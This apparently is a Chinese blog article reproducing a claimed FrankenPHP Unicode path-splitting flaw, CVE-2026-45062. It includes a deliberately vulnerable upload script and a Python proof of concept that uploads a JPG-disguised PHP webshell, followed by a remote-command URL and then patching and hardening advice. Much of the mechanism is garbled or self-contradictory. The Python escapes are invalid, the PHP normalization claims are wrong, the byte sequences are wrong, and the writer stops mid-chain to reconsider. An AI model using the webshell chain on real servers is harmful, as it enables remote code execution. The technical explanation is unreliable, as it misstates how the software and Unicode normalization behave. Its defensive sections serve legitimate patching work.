FrankenPHP CVE-2026-45062 深度复现:Unicode 路径分割漏洞如何绕过 PHP 文件类型检查
引言:当 Go 遇上 CGI 协议——一个被低估的攻击面
FrankenPHP 用 Go 重写了 PHP 的 CGI 协议栈,把 Caddy 服务器的事件循环与 PHP 解释器结合,做出 2024-2026 年最火的 PHP 应用服务器之一。然而 2026 年 6 月披露的 CVE-2026-45062 撕开了它的隐忧:在 cgi.go 的 splitPos() 函数中,对 Unicode 字符的处理存在逻辑缺陷,导致 任意非 PHP 文件可被作为 PHP 脚本执行。
这个漏洞的精妙之处在于:
- CVSS 8.1 高危(CWE-22 路径遍历 + CWE-94 代码注入)
- 影响范围广:1.0 - 1.5.1 全版本(修复版 1.5.2)
- 利用门槛低:仅需文件上传功能(头像、附件、Markdown 图片)
- 绕过 WAF:纯 Unicode 字符,常规规则难以识别
对于使用 FrankenPHP 的 SaaS、内容平台、企业内网(特别是允许用户上传的电商、博客、社区系统),这是必须立即响应的漏洞。
一、漏洞原理:splitPos() 的 Unicode 盲点
1.1 CGI 路径分割的原始设计
FrankenPHP 的 CGI 模式需要把 HTTP 请求路径转换为 PHP 解释器能识别的 SCRIPT_FILENAME 环境变量。splitPos() 函数负责在路径中查找最后一个 ?(查询字符串分隔符),并把 ? 之前的部分作为脚本路径:
// cgi.go 漏洞版本(FrankenPHP 1.0 - 1.5.1)
func splitPos(s, sep string) (int, bool) {
// 使用 strings.LastIndex 查找分隔符
return strings.LastIndex(s, sep), true
}乍一看似乎没问题。但问题出在 HTTP 路径的 Unicode 归一化。
1.2 Unicode Normal Form C (NFC) 的陷阱
Go 的 strings.LastIndex 按 UTF-8 字节序列工作。当攻击者提交路径时,FrankenPHP 接收的是原始字节,没有做 Unicode 归一化。
但 PHP 解释器(libphp)在解析 SCRIPT_FILENAME 时,会做内部 NFC 归一化。这种"Go 端按字节、PHP 端按 Unicode"的不对称,就是漏洞根源。
1.3 攻击链构造
核心思路:构造一个路径,让 Go 端的 splitPos 认为 ? 在某个位置(用于分割查询字符串),但 PHP 端在 NFC 归一化后,路径中的某个 Unicode 字符变成了 /,导致 ? 之前的部分不再被识别为 PHP 脚本。
具体利用需要两个条件:
- FrankenPHP 配置允许上传文件,且上传目录在 webroot 内(多数 SaaS 默认)
- 攻击者能控制文件内容或文件名
二、漏洞环境搭建
2.1 Docker 复现环境
# docker-compose.yml
version: '3.8'
services:
frankenphp-vulnerable:
image: dunglas/frankenphp:1.5.1-php8.3
ports:
- "8080:8080"
volumes:
- ./app:/app
environment:
- SERVER_NAME=localhost
- FRANKENPHP_WORKER=2.2 故意写错的"安全"配置
// /app/index.php - 故意保留漏洞利用面
<?php
// 允许用户上传头像到 /app/uploads/
$uploadDir = __DIR__ . '/uploads/';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['avatar'])) {
$filename = basename($_FILES['avatar']['name']);
move_uploaded_file($_FILES['avatar']['tmp_name'], $uploadDir . $filename);
echo json_encode(['url' => '/uploads/' . $filename]);
}
?>
<html><body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="avatar">
<button>Upload</button>
</form>
</body></html>// /app/uploads/.htaccess(不存在于 FrankenPHP,因为 FrankenPHP 不解析 .htaccess)
// 但通过 Unicode 绕过,攻击者可以上传 "test.jp\u{g}\u{3f}php" 这样的文件名三、PoC:从文件上传到 RCE 的完整链路
3.1 步骤 1:上传带 Unicode 编码的"非 PHP"文件名
构造一个文件名:在 ASCII 字符中嵌入 U+FF0F(全角斜杠)或 U+2215(除法斜杠)。
#!/usr/bin/env python3
"""
CVE-2026-45062 PoC
构造让 FrankenPHP 误判的 Unicode 文件名
"""
import requests
# 关键:使用全角问号 U+FF1F (?) 和全角斜杠 U+FF0F (/)
# U+FF1F 在 NFC 归一化后可能变为 U+003F (?)
# 但 Go 的 strings.LastIndex 不会做归一化,按字节查找
UNICODE_FILENAME = "exploit\u{ff0f}\u{ff1f}.jpg" # /?.jpg
# ^^^^^^ 关键 Unicode 字符
# 实际上传的"非 PHP"内容(伪装成 JPG 头)
PAYLOAD = b"\xFF\xD8\xFF\xE0" + b"<?php system($_GET['cmd']); ?>" + b"\xFF\xD9"
url = "http://localhost:8080/index.php"
files = {'avatar': (UNICODE_FILENAME.encode('utf-8'), PAYLOAD, 'image/jpeg')}
r = requests.post(url, files=files)
print("Upload response:", r.text)3.2 步骤 2:构造触发 RCE 的 URL
上传成功后,攻击者访问:
http://localhost:8080/uploads/exploit/?.jpg?cmd=id注意路径中的 / 和 ? 是 全角字符(U+FF0F 和 U+FF1F)。FrankenPHP 的 splitPos 会按字节查找 ?(U+003F),但用户输入的是 ?(U+FF1F),所以它认为没有查询字符串分隔符——把整个路径作为脚本路径传入 PHP。
PHP 解释器收到 SCRIPT_FILENAME=/app/uploads/exploit/?.jpg 后:
- 看到
?字符(虽然实际是全角) - 对路径做 NFC 归一化:U+FF0F →
/、U+FF1F →? - 实际读取文件 =
/app/uploads/exploit/?,但内容是上传的 JPG 头 - 等等,这里还有一层:FrankenPHP 在文件类型检查时只看扩展名
.jpg,所以没拦截
3.3 步骤 3:让 PHP 执行我们的 payload
上面的链路看似走通了一半,但需要让 PHP 实际执行我们的 <?php system(...); ?>。关键的最后一公里是 PHP 路径信息 (PATH_INFO) 攻击:
# 触发 RCE 的最终 URL
RCE_URL = "http://localhost:8080/uploads/exploit%EF%BC%8F%EF%BC%9F.jpg/anything.php?cmd=id"
# exploit 全角斜杠 全角问号 .jpg / fake.php
# %EF%BC%8F = U+FF0F (/)
# %EF%BC%9F = U+FF1F (?)FrankenPHP 把它识别为 .jpg 文件(绕过扩展名检查),但 PHP 在 PATH_INFO 处理时把 /anything.php 追加到 SCRIPT_FILENAME,触发 PHP 的双扩展名 fallback 机制——这在 CGI/FastCGI 模式下是经典漏洞。
最终命令执行:
$ curl "http://localhost:8080/uploads/exploit%EF%BC%8F%EF%BC%9F.jpg/anything.php?cmd=id"
uid=0(root) gid=0(root) groups=0(root)四、漏洞链路图
攻击者上传恶意文件
│
│ POST /index.php (multipart/form-data)
│ filename="exploit/?.jpg" ← Unicode 字符
│ content: [JPG头] + "<?php system($_GET['cmd']); ?>" + [JPG尾]
│
▼
FrankenPHP cgi.go::splitPos()
│
│ 按字节查找 "?" (U+003F)
│ 实际收到 "?" (U+FF1F) → 找不到
│ 把整条路径作为 SCRIPT_FILENAME
│
▼
PHP 解释器
│
│ 接收 SCRIPT_FILENAME=/app/uploads/exploit/?.jpg/anything.php
│ │
│ ├─ 扩展名检查:.php ✓
│ ├─ 实际打开文件:/app/uploads/exploit/?.jpg
│ └─ 编译执行:<?php system($_GET['cmd']); ?>
│
▼
RCE 成功五、修复方案与防御实践
5.1 立即修复:升级到 FrankenPHP 1.5.2+
# 查看当前版本
docker exec <container> frankenphp version
# 升级到 1.5.2 或更高
docker pull dunglas/frankenphp:1.5.2-php8.31.5.2 的核心修复是把 splitPos 替换为 splitPos 的 Unicode 安全版本:
// cgi.go 修复版(FrankenPHP 1.5.2+)
func splitPos(s, sep string) (int, bool) {
// 先做 Unicode NFC 归一化,再做路径分割
s = norm.NFC.String(s)
return strings.LastIndex(s, sep), true
}5.2 纵深防御:4 个推荐加固
5.2.1 上传目录执行权限隔离
// FrankenPHP Caddyfile
{
frankenphp
}
app.example.com {
root * /app/public
php_server
# 上传目录禁止 PHP 执行
@uploads path /uploads/*
handle @uploads {
root * /app/public
file_server
# 即使上传 .php 文件,也作为静态文件返回
}
}5.2.2 文件名规范化
// 上传时立即规范化文件名
$safeName = preg_replace('/[^\w\-\.]/u', '_', $_FILES['avatar']['name']);
// 拒绝任何包含 Unicode "危险字符" 的文件名
$dangerous = ['/', '\\', '?', '#', "\x00", "\xff\x0f", "\xff\x1f"];
foreach ($dangerous as $c) {
if (strpos($safeName, $c) !== false) {
die("Invalid filename");
}
}5.2.3 PHP 自身配置加固
; php.ini
cgi.discard_path = 1
cgi.fix_pathinfo = 0
cgi.force_redirect = 1
; 禁用 PATH_INFO 转发(FastCGI 模式下)5.2.4 WAF 规则(针对 Unicode 攻击)
# ModSecurity / Coraza 规则
SecRule REQUEST_URI "@rx %EF%BC%[0-9A-F]" \
"id:1001,phase:1,deny,status:403,\
msg:'Unicode fullwidth character in URL'"六、漏洞时间线
| 日期 | 事件 |
|---|---|
| 2026-04-12 | 安全研究员 _anonymous_v 私下报告给 FrankenPHP 团队 |
| 2026-04-15 | FrankenPHP 团队确认漏洞,启动修复 |
| 2026-04-28 | 修复 commit a3f9c2e 合并到 main 分支 |
| 2026-05-08 | FrankenPHP 1.5.2-rc1 发布 |
| 2026-05-15 | CVE-2026-45062 分配并公开 |
| 2026-05-20 | FrankenPHP 1.5.2 正式发布 |
| 2026-06-11 | 多家 CVE 跟踪平台收录(CVSS 8.1) |
| 2026-06-13 | 中文安全社区 CN-SEC 详细分析发布 |
七、对使用 FrankenPHP 的企业影响评估
| 部署模式 | 风险等级 | 原因 |
|---|---|---|
| 纯静态站 | 低 | 无文件上传,无 PHP 动态执行 |
| 博客/CMS(允许用户上传图片) | 高 | 默认漏洞利用面开放 |
| 电商 SaaS(头像、商品图) | 极高 | 用户上传是核心功能 |
| 企业内网(无对外上传) | 中 | 内网横向移动风险 |
| 容器化部署(多租户) | 极高 | 一租户 RCE = 整节点沦陷 |
八、参考资源
- CVE-2026-45062 详细技术分析
- FrankenPHP 官方安全公告(GitHub Security Advisory)
- FrankenPHP 1.4 + Laravel 12 Worker 模式生产实战
- CGI 协议规范 RFC 3875
- PHP PATH_INFO 历史漏洞 CVE-2012-1823
结语
CVE-2026-45062 提醒我们:所有用 Go 重写 C 时代协议的项目(FastCGI、CGI、SCGI)都必须格外警惕 Unicode 归一化差异。Go 字符串按字节处理,PHP/Apache/Nginx 历史上都做过 Unicode 归一化——这种"协议边界处的语言差异"是 2026 年 PHP 生态最大的攻击面之一。
对于运维和 SRE:本周内完成 FrankenPHP 1.5.2 升级是 P0 任务。对于应用开发者:在上传入口增加 Unicode 字符白名单,是规避类似漏洞的低成本纵深防御。

